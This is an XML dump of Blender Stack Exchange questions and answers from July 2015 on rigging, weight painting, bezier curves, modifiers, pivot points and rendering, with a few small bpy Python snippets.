  <row Id="33532" PostTypeId="2" ParentId="33523" CreationDate="2015-07-07T07:15:38.557" Score="1" Body="&lt;p&gt;You should add some manual weighting:&#xA;Your procedure has created two new vertex groups: one named &quot;bone&quot;, another named &quot;bone.001&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every vertex of your model will have a property called &quot;weight&quot; (range 0.0 - 1.0) for every vertex group associated to every bone of the rig. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a vertex is weighted 1.0 to bone and 0.0 to bone.001, it moves along with the first bone and is not influenced by the movemets of bone.001.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the two weights are both 0.5, the vertex will be moved by both bones, in a blended way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many ways to assign the weight to a vertex, i.e.you can select a group of vertex in edit mode, then assign them to a vertex group specifiing the desired weight. Another popular but a little bit tricky method is to use weight paint mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start your manual trimming of weights by assigning the vertex of that kind of &quot;finger&quot; coming out fron the knee, to both bones, not only one as it seems from the picture. Try to have all vertex with a total sum of 1.0 weight (1.0 - 0.0, 0.2-0.8, 0.5-0.5, etc .....)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search for more info about &quot;skinning&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/628z1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-07-07T07:15:38.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33533" PostTypeId="1" CreationDate="2015-07-07T07:41:33.727" Score="1" ViewCount="157" Body="&lt;p&gt;i would like to create an add-on that can plot graphs using matplotlib inside the add on frame.&#xA;Does anyone have any experience  with using matplotlib or any other python lib in blender? &#xA;Is it possible to plot the graph in an add-on frame? &lt;/p&gt;&#xA;" OwnerUserId="15468" LastActivityDate="2015-07-07T07:41:33.727" Title="Using matplotlib in python script to enable plotting in add-on" Tags="&lt;python&gt;&lt;add-on&gt;&lt;mathematics&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33534" PostTypeId="2" ParentId="33530" CreationDate="2015-07-07T08:22:21.003" Score="2" Body="&lt;p&gt;The &lt;strong&gt;flickering effect&lt;/strong&gt; can be achieved by adding an &lt;strong&gt;effect strip on top&lt;/strong&gt; of the movie clip. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &gt; Effect Strip &gt; Color&lt;/li&gt;&#xA;&lt;li&gt;Go to the &lt;em&gt;Properties Panel&lt;/em&gt; of the video sequence editor (&lt;kbd&gt;N&lt;/kbd&gt;) &lt;/li&gt;&#xA;&lt;li&gt;Set the blendtype to &lt;em&gt;Alpha Over&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set a keyframe on the opacity (also in &lt;em&gt;Properties Panel&lt;/em&gt;) by clicking on &lt;kbd&gt;I&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go to the graph editor and add a &lt;em&gt;Noise Modifier&lt;/em&gt; (in the &lt;em&gt;Properties Panel&lt;/em&gt; of the graph editor) &lt;/li&gt;&#xA;&lt;li&gt;Tweak the different options in the &lt;em&gt;Noise Editor&lt;/em&gt; like scaling, strength, phase the frame range etc.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HL6QA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="3710" LastEditDate="2015-07-07T11:58:31.810" LastActivityDate="2015-07-07T11:58:31.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33535" PostTypeId="1" AcceptedAnswerId="33543" CreationDate="2015-07-07T08:53:09.933" Score="2" ViewCount="3544" Body="&lt;p&gt;I am making a path using bezier curve and having an object which follows the path using steering actuator. My problem is having a path which resembles the English letter &quot;Y&quot;, for that I need to split one of the control end of the curve. How can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if the path has the shape of &quot;P&quot;, how can I join one control end of the bezier curve to an intermediary control point?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not an expert in Blender. Please help me, thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="15469" LastEditorUserId="3401" LastEditDate="2015-07-07T09:42:42.537" LastActivityDate="2015-07-07T12:46:46.573" Title="How to split one control end of bezier curve" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33536" PostTypeId="1" CreationDate="2015-07-07T08:55:13.717" Score="1" ViewCount="200" Body="&lt;p&gt;I am just working on a webGL project. Therefore I animated a train in Blender using a bone constraint to make the train follow a bezier curve. I also want to make the bones I created for the wheels to rotate dependent on&#xA;the &quot;follow Path&quot; offset_factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works pretty well so far, but in order to make this work in webGL i want to bake my animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if I bake the animation the train follows the path perfectly, but the driven bone rotation for the wheels is missing. Propapbly, because the constraint &quot;Follow Path&quot; isn't present anymore. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: Is there a way to bake driven properties to animations? And how do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2015-07-07T08:55:13.717" Title="how do I bake bone rotations driven by a bone constraint?" Tags="&lt;animation&gt;&lt;constraints&gt;&lt;drivers&gt;&lt;baking&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33537" PostTypeId="2" ParentId="33513" CreationDate="2015-07-07T09:36:29.450" Score="2" Body="&lt;p&gt;There's a method of constraining that works especially well with bones, and avoids unwanted offsets caused by double transforms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;go to pose mode, select the child bone, add a &quot;copy transform&quot; constraint, set it to Parent armature, parent bone, local space both.&#xA;The same for the others child bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider that you can even animate the influence of the constraints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is using drivers, which are more powerful (you can program curves of influence and many others complex behaviours) but more difficult to explain in a few words; search for info about them, even in this site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ptvJH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="19703" LastEditDate="2015-12-07T07:38:09.827" LastActivityDate="2015-12-07T07:38:09.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33538" PostTypeId="2" ParentId="33513" CreationDate="2015-07-07T09:42:13.360" Score="2" Body="&lt;p&gt;Yes, from Pose Mode in the Bone Constraints tab you can select the bone you want to act as the child and add a &quot;Child Of&quot; constraint. Point it to the armature, then within that the bone, that you want it to copy transformations of. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Lecw.png&quot; alt=&quot;Using the &amp;quot;Child OF&amp;quot; Bone Constraint&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll probably need to uncheck the X rotation transformation, because bone axes are wonky (that's a technical explanation). Maybe someone else can explain why, but I've just come to accept it as the way it is. In any case, this works.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastActivityDate="2015-07-07T09:42:13.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33539" PostTypeId="2" ParentId="33525" CreationDate="2015-07-07T09:59:50.930" Score="30" Body="&lt;p&gt;You could select one vertex, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;, 'cursor to selected', then &lt;kbd&gt;.&lt;/kbd&gt; (to transform with respect to 3d cursor), select all vertices, &lt;kbd&gt;S&lt;/kbd&gt; to scale, then &lt;kbd&gt;X&lt;/kbd&gt;,&lt;kbd&gt;Y&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt; and then &lt;kbd&gt;0&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-07-07T09:59:50.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33541" PostTypeId="1" CreationDate="2015-07-07T12:04:17.903" Score="4" ViewCount="804" Body="&lt;p&gt;How can I make a 3D movie that does not have colors on it. A movie like the ones on the blue rays. So that I can what it on my 3D-TV?&lt;/p&gt;&#xA;" OwnerUserId="6433" LastActivityDate="2015-12-07T22:54:31.933" Title="3D movies for 3D TV" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33542" PostTypeId="1" AcceptedAnswerId="33596" CreationDate="2015-07-07T12:36:08.860" Score="3" ViewCount="1438" Body="&lt;p&gt;I want to make a mesh object that looks like the outside surface of cubes stacked in the shape of a sphere. I thought I saw this once, but I can't find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final size will be big (up to 100x100x100 cubes) so I think making a million cubes and merging them (modifier Boolean Union) is going to take quite a while, especially if I have to do it differently for every frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a first step, I've stacked cubes in a hollow spherical shell.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I really want&lt;/strong&gt; is just a single mesh object of the outside surface. But for 100x100x100 that's a million cubes to Union. There must be an easier way?&#xA;2) if not, how can I select say 20,000 cubes in a &quot;shell&quot; and Union them at once?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Through brute-force application of logic &amp;amp; math &amp;amp; coffee, I guess one could define an algorithm to generate the mesh directly, but I somehow think that I saw this done before in an elegant way. &quot;cubification&quot;? &quot;cubation&quot;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of a small shell that takes about ten seconds to generate. In the picture I've removed the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sBwjd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import numpy as np&#xA;&#xA;nx, ny, nz = 21, 21, 21&#xA;x0, y0, z0 = 10, 10, 10&#xA;r1, r2 = 6.0, 7.4&#xA;&#xA;scale = 0.5&#xA;&#xA;x, y, z = np.arange(nx), np.arange(ny), np.arange(nz)&#xA;&#xA;rsq = (x[None, None, :]-x0)**2 + (y[None, :, None]-y0)**2 + (z[:, None, None]-z0)**2&#xA;sphere_1 = rsq &amp;lt; r1**2&#xA;sphere_2 = rsq &amp;lt; r2**2&#xA;shell = sphere_2 * (-sphere_1)    # I love python!&#xA;&#xA;X, Y, Z = np.meshgrid(x, y, z)&#xA;&#xA;ipoints = zip( X.flatten(), &#xA;               Y.flatten(), &#xA;               Z.flatten() )&#xA;&#xA;points = zip(scale*(X.flatten()-x0), &#xA;             scale*(Y.flatten()-y0), &#xA;             scale*(Z.flatten()-z0) ) &#xA;&#xA;points = [thing for thing in points]  # convert zip object to list (python 3!)&#xA;ipoints = [thing for thing in ipoints]&#xA;&#xA;points_shell = [thing for i,thing in enumerate(points)&#xA;                 if shell[ipoints[i]]]&#xA;&#xA;for point in points_shell:&#xA;    bpy.ops.mesh.primitive_cube_add(radius=0.5*scale, location=point)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="5334" LastEditDate="2015-07-07T13:20:30.447" LastActivityDate="2015-07-28T07:38:24.510" Title="How to make a mesh surface that looks like cubes stacked in the shape of a sphere?" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33543" PostTypeId="2" ParentId="33535" CreationDate="2015-07-07T12:46:46.573" Score="1" Body="&lt;p&gt;I think you can create such shapes only by combining 2 or multiple curves, because &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Each new segment is added to one end of the curve. A new segment will&#xA;  only be added if a single vertex, or handle, at one end of the curve&#xA;  is selected.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;http://www.blender.org/manual/modeling/curves/editing/introduction.html?highlight=curve#extending-curves&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki page&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same may be applied to creating 'P' shape, thus joining 2 curve segments - it'll raise an error &quot;Cannot make segment&quot;. You can duplicate that curve segment and place it atop of existing one, but still it'd be 2 different curves (example below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As another way you may want to use simple mesh with all vertices deleted except for one. You then extrude shape needed either with &lt;kbd&gt;E&lt;/kbd&gt; or &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;LMB&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0hCJz.jpg&quot; alt=&quot;split-curve_1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After adding mirror modifier you'll get that 'Y' shape. If you convert now this mesh into curve with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; you'll see that it actually consists of 2 curves:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MXSGS.jpg&quot; alt=&quot;split-curve_2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's just the same what you would get if extruding this shape with curves manually.&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-07-07T12:46:46.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33544" PostTypeId="1" CreationDate="2015-07-07T13:35:31.687" Score="2" ViewCount="730" Body="&lt;p&gt;I made a Fisheye Camera in Blender Cycles but now I need to change the whole scene to Blender Render. I have already converted the textures and material nodes so that's not a problem, &lt;em&gt;the problem is that the camera I made is a fisheye camera. This is the actual setup I made for it:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TuAbB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Cycles, the camera works perfectly but in Blender Render the settings just dissapear and the camera deformation for Fisheye doesn't work anymore.&#xA;I remember that keeping the camera parameters was possible but I don't remember how...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I convert my camera from Blender Cycles to Blender Render without losing the already made setup?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="241" LastEditDate="2015-07-07T14:33:03.210" LastActivityDate="2015-07-07T14:33:03.210" Title="Adapting Fisheye camera from Blender Cycles to Blender Render?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;camera&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33545" PostTypeId="2" ParentId="33541" CreationDate="2015-07-07T13:55:32.687" Score="4" Body="&lt;p&gt;You could set all materials to one monochromatic color as described here:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/1404/how-to-quickly-do-a-clay-render&quot;&gt;How to quickly do a clay render?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender 2.75 a steresopic mode has been added see the release notes for details:&#xA;&lt;a href=&quot;http://www.blender.org/manual/render/workflows/multiview.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blender.org/manual/render/workflows/multiview.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A still current tutorial which uses external tools you can find here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tutorial:&#xA;&lt;a href=&quot;http://3d.simplecarnival.com/stereoscopic-rendering-in-blender-part-1-a-blender-overview/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://3d.simplecarnival.com/stereoscopic-rendering-in-blender-part-1-a-blender-overview/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Git-Project:&#xA;&lt;a href=&quot;https://github.com/simplecarnival/3d-blender-tools/archive/master.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/simplecarnival/3d-blender-tools/archive/master.zip&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-07-07T14:01:20.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33546" PostTypeId="1" AcceptedAnswerId="33554" CreationDate="2015-07-07T14:24:50.577" Score="0" ViewCount="125" Body="&lt;p&gt;Currently you can select a line with the &lt;code&gt;select_line&lt;/code&gt; command. The problem is that you select the complete line, with the indentations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to know how I can select only the words of the current line, to integrate it in a pie please. &lt;/p&gt;&#xA;" OwnerUserId="11582" LastEditorUserId="2617" LastEditDate="2015-07-07T14:46:50.927" LastActivityDate="2015-07-07T18:07:41.587" Title="Select words without indentation in text editor" Tags="&lt;python&gt;&lt;text-editor&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33547" PostTypeId="1" AcceptedAnswerId="33555" CreationDate="2015-07-07T14:25:34.353" Score="0" ViewCount="602" Body="&lt;p&gt;I just skinned a small model and ran into a little problem with that. I skinned with vertex groups, so I applied all vertices that should be deformed by a certain bone to the vertex group &quot;cube_bone&quot;. The bone has the same name of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I look in weight paint mode now, everything looks like its supposed to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZBWZp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I now want to try a pose, this is what happens:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XpT7j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually its correct that the blue spheres are moving, since they are controlled by the childreen of the bone I am trying to skin. But what is wrong with the &quot;cube_bone&quot; ? Or why do the vertices not move at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found out, at the &quot;Vertex Weight&quot; Toolbar under &quot;deform&quot; there is no bone applied, only under &quot;all&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other working bones, the bone is also listed under the &quot;deform&quot; tab&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lMeIo.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5376" LastEditorUserId="5376" LastEditDate="2015-07-07T18:11:17.300" LastActivityDate="2015-07-07T18:32:31.643" Title="Correct skinning is still not deforming my mesh" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;weight-painting&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33548" PostTypeId="1" AcceptedAnswerId="33551" CreationDate="2015-07-07T14:41:36.393" Score="2" ViewCount="291" Body="&lt;p&gt;I am trying to achieve a curve on my mesh. Mainly I am trying to make a dog bowl. I can't seem to understand how to do the curve for the bowl for both the inside and the odd lip thing on the outside ends. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be noted that I am a newbie to Blender, I have taken the fundamentals course here: &lt;a href=&quot;https://cgcookie.com/course/mesh-modeling-fundamentals/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CG Cookie Mesh Fundamentals&lt;/a&gt; but didn't see anything on curving a mesh. Unless its a mixture of extruding, subdividing etc that I am missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current attempts have been using insets and transforming downward. But this gives a cone shape instead. Any pointers? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my template of what I am trying to replicate in blender. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/d2fgI.jpg&quot; alt=&quot;Dog bowl&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15473" LastActivityDate="2015-07-07T16:16:14.100" Title="How to do curves in a mesh" Tags="&lt;mesh&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33549" PostTypeId="2" ParentId="33542" CreationDate="2015-07-07T14:41:50.573" Score="7" Body="&lt;p&gt;One possible way to do this would be to use the 'Remesh' modifier. It has an option to turn the selected object into blocks, though specifying the exact amount of blocks may be a bit difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I have a UV Sphere with a remesh modifier set to 'Blocks'. I also added a Subsurf modifier before it so that the surface is smoother for the remesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ky7Rh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the 'Octree Depth' property to increase the resolution, but it will get increasingly slow when increasing this number.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-07-07T14:41:50.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33550" PostTypeId="1" CreationDate="2015-07-07T15:48:10.577" Score="0" ViewCount="311" Body="&lt;p&gt;I'm making a tank game in the blender game engine and the barrel of the tank looks fine until I parent it to the swivelling part, which seems to change the normals, which means I can see through the visible faces to the faces behind it.&#xA;&lt;hr&gt;&#xA;This is the tank without the gun being parented:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rg2Xm.png&quot; alt=&quot;no parent&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see - the gun looks okay, now this is the tank when the gun is parented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iZByw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does this happen? Surely parenting an object shouldn't affect it's normals.&lt;/p&gt;&#xA;" OwnerUserId="14916" LastActivityDate="2015-07-07T15:48:10.577" Title="Parenting objects in bge makes them apparently changes normals?" Tags="&lt;game-engine&gt;&lt;normals&gt;&lt;parent&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="33551" PostTypeId="2" ParentId="33548" CreationDate="2015-07-07T16:07:14.000" Score="5" Body="&lt;p&gt;this should be easily accomplished with a screw modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;all you need to do is create the profile of the dog bowl.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0k5sa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you do, it will be imperative to put the vertex that marks the center of the bowl on the origin of the object. you can do this by selecting this vertex and &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;&gt;&lt;em&gt;Cursor to selected&lt;/em&gt; &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;&gt;&lt;em&gt;origin to 3D cursor&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now add the screw modifier. you can set the amount of turn it goes for higher detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n60cq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hHLVu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2015-07-07T16:16:14.100" LastActivityDate="2015-07-07T16:16:14.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33552" PostTypeId="2" ParentId="33449" CreationDate="2015-07-07T17:15:34.390" Score="0" Body="&lt;p&gt;Nevermind, i figured it out&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I turned off copy scale, and then for every bone that was having scaling problems I also turned off any IK constraints they had, since the rig is following another its no use having ik constraints on it anyway &lt;/p&gt;&#xA;" OwnerUserId="15423" LastActivityDate="2015-07-07T17:15:34.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33553" PostTypeId="1" AcceptedAnswerId="33557" CreationDate="2015-07-07T18:04:35.493" Score="3" ViewCount="5164" Body="&lt;p&gt;Is it possible to change the pivot point for selected edges/vertecies in edit mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My situation is as follows:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xd06I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to extrude selected edges and scale them down a little. For this I would need the pivot point to be located in the center (approximately where the 3d cursor is). &#xA;How can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="10962" LastEditorUserId="3401" LastEditDate="2015-07-08T02:13:05.403" LastActivityDate="2015-07-08T02:13:05.403" Title="Change pivot point for selected edges" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33554" PostTypeId="2" ParentId="33546" CreationDate="2015-07-07T18:07:41.587" Score="2" Body="&lt;pre&gt;&lt;code&gt;def execute(self, context):&#xA;&#xA;    bpy.ops.text.move(type='LINE_BEGIN')&#xA;    bpy.ops.text.move(type='NEXT_WORD')&#xA;    bpy.ops.text.move_select(type='LINE_END')&#xA;    return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This selects whitespace at the end of the line.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2015-07-07T18:07:41.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33555" PostTypeId="2" ParentId="33547" CreationDate="2015-07-07T18:32:31.643" Score="0" Body="&lt;p&gt;Looks like your bone has the &quot;deform&quot; option unchecked&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R4gTw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-07-07T18:32:31.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33557" PostTypeId="2" ParentId="33553" CreationDate="2015-07-07T19:08:02.983" Score="5" Body="&lt;p&gt;You change the pivot point in edit mode by clicking on the pivot point icon in the information header (OK, in the 3D viewport it's actually a footer) and selecting the option you want. In this case, in object mode you can use set origin (&lt;kbd&gt;SHFT&lt;/kbd&gt;-&lt;kbd&gt;CTRL&lt;/kbd&gt;-&lt;kbd&gt;ALT&lt;/kbd&gt;-&lt;kbd&gt;C&lt;/kbd&gt; to set the origin where you want it, then set the 3D cursor to the origin using the snap tool (&lt;kbd&gt;SHFT&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt;) selecting &quot;cursor to active, because in object mode if vertices in the object are selected, the object is active, and the cursor snaps to the origin. The 3D cursor does not move when you go back to edit mode, so you can use the 3D cursor as the pivot point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the illustration you included with your question, I assume the blue dot is the origin point, so the 3D cursor is already where it will be, and all you need do is as suggested in the comment: change the pivot point to the 3D cursor in the &quot;pivot point for rotation scaling&quot; in the 3D viewport header..&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-07-07T19:08:02.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33558" PostTypeId="1" AcceptedAnswerId="33560" CreationDate="2015-07-07T19:13:39.540" Score="25" ViewCount="7576" Body="&lt;p&gt;This has puzzled me for years: How does Blender decide the window where it will display the rendered image when I hit F12 to render?&lt;/p&gt;&#xA;" OwnerUserId="1037" LastEditorUserId="599" LastEditDate="2015-07-07T19:32:47.003" LastActivityDate="2019-03-20T16:20:55.760" Title="How does Blender decide in which window it shows the render" Tags="&lt;rendering&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
